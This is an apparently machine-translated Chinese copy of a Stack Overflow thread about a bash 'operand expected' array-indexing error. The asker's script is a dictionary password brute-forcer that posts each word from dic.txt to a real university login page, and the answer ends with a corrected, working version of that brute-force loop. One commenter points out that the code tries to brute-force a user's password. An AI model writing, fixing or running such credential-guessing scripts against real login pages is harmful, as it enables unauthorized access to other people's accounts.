Bash 语法错误:我的代码上需要操作数(错误标记为“0”)

Bash 语法错误:我的代码上需要操作数(错误标记为“0”),bash,Bash,我有一个关于bash脚本的问题。这是我的代码,但我在运行时出错。请告诉我是什么问题,我如何解决它 #!/bin/bash clear old_IFS=$IFS IFS=$'\n' lines={$(cat dic.txt)} IFS=$old_IFS linesNum=${#lines[@]} i=0 while [ $i -lt $linesNum ] do curl --silent --data '__VIEWSTATE=/wEPDwUKMjA2NTYzNTQ5MmRkM9W6oZ

我有一个关于bash脚本的问题。这是我的代码,但我在运行时出错。请告诉我是什么问题,我如何解决它

#!/bin/bash
clear
old_IFS=$IFS
IFS=$'\n'
lines={$(cat dic.txt)}
IFS=$old_IFS
linesNum=${#lines[@]}
i=0
while [ $i -lt $linesNum ]
do
    curl --silent --data '__VIEWSTATE=/wEPDwUKMjA2NTYzNTQ5MmRkM9W6oZR3v6vTlgum6RRE+XBA1YwwnX5efXI7H3VYGhb90nffjJgTX9BC2vcXTKn5JQP7gGZqRX5i6+UBKQJYpA==&__VIEWSTATEGENERATOR=6A475423&__EVENTVALIDATION=/wEdAAaQshnEBVjtUzZSOPhpyCK04ALG8S7ZiLlJqSsuXBsjGz/LlbfviBrHuco87ksZgLcCRt9NnSPADSFObzNVq3ShPZSQos3ErAwfDmhlNwH4qEsT6FfmV7ULQ7j/FGM5sO744qbWJoRwx8DdO7AyAGSCIHJNCxliL9wbeJx4BbqKpujh8LdA0lq2IWQA/fzdzgdrfpaMf8EyK24t6s+s9NNx&TxtMiddle=<r F51851="" F80351="935255415" F80401="${lines[\"$i\"]}" F83181="" F51701=""/>&Fm_Action=09&Frm_Type=&Frm_No=&TicketTextBox=' https://reg.pnu.ac.ir/forms/authenticateuser/main.htm | grep "کد1" >> /dev/null ; check=$?
    if [ $check -eq '0' ]
    then
        echo " Password not found!"
    else
        echo " Password is: ${lines[\"$i\"]}"
        break
    fi
    ((i++))
done

Bash数组声明为:

arr=(elem1 elem2 elem3)
然后访问元素,如:

> echo "${arr[0]}"
elem1
如果要使用索引,可以执行以下操作:

> i=1
> echo "${arr[$i]}"
elem2
[…]之间的部分未重新计算-即,尽管发生变量扩展,但未删除引号

因此,以下措施将不起作用:

> i=2
> echo "${arr["$i"]}"
bash: \"2\": syntax error: operand expected (error token is "\"2\"")
由于不会从bash数组索引中删除引号,并且不允许使用引号,因此会导致语法错误


这应该足以修复脚本中的错误。${lines[\$i\]}和${lines['$i']}都不正确且语法错误。

您的代码包含许多反模式。要在文件中跨行循环,只需一次读取一行-r。要检查命令是否成功,请使用if命令而不是command命令;如果[$?-等式0]


行lines={$cat dic.txt}是错误的。在句法和语用上。使用mapfile或readarray或wc-l.Well,您是否检查了${lines[\$i\]}第16行的错误?请不要通过破坏您的帖子为其他人做更多的工作。通过在堆栈溢出上发布,您已经在下授予了不可撤销的权利,以便此站点分发该内容。根据服务条款,任何故意破坏行为都将恢复原状。如果你想了解更多关于删除帖子的信息,请阅读更多信息,我看不到任何明显的方法来控制此代码试图暴力破解的用户密码。显然,字段F80351决定了这一点?如果你真的不知道如何改变它,接受这个答案,或者发布并接受你自己的答案,然后提出一个新的问题,详细说明可能会有一个链接回到这个问题的上下文。
#!/bin/bash
#clear  # just don't
fmt_data='__VIEWSTATE=/wEPDwUKMjA2NTYzNTQ5MmRkM9W6oZR3v6vTlgum6RRE+XBA1YwwnX5efXI7H3VYGhb90nffjJgTX9BC2vcXTKn5JQP7gGZqRX5i6+UBKQJYpA==&__VIEWSTATEGENERATOR=6A475423&__EVENTVALIDATION=/wEdAAaQshnEBVjtUzZSOPhpyCK04ALG8S7ZiLlJqSsuXBsjGz/LlbfviBrHuco87ksZgLcCRt9NnSPADSFObzNVq3ShPZSQos3ErAwfDmhlNwH4qEsT6FfmV7ULQ7j/FGM5sO744qbWJoRwx8DdO7AyAGSCIHJNCxliL9wbeJx4BbqKpujh8LdA0lq2IWQA/fzdzgdrfpaMf8EyK24t6s+s9NNx&TxtMiddle=<r F51851="" F80351="935255415" F80401="%s" F83181="" F51701=""/>&Fm_Action=09&Frm_Type=&Frm_No=&TicketTextBox='
url='https://reg.pnu.ac.ir/forms/authenticateuser/main.htm'

while read -r line; do
    if curl --silent --data "$(printf "$fmt_data" "$line")" "$url" |
        grep -q "کد1"
    then
        echo "$0: Password not found!" >&2
    else
        echo "$0: Password is: $line" >&2
        break
    fi
done <dic.txt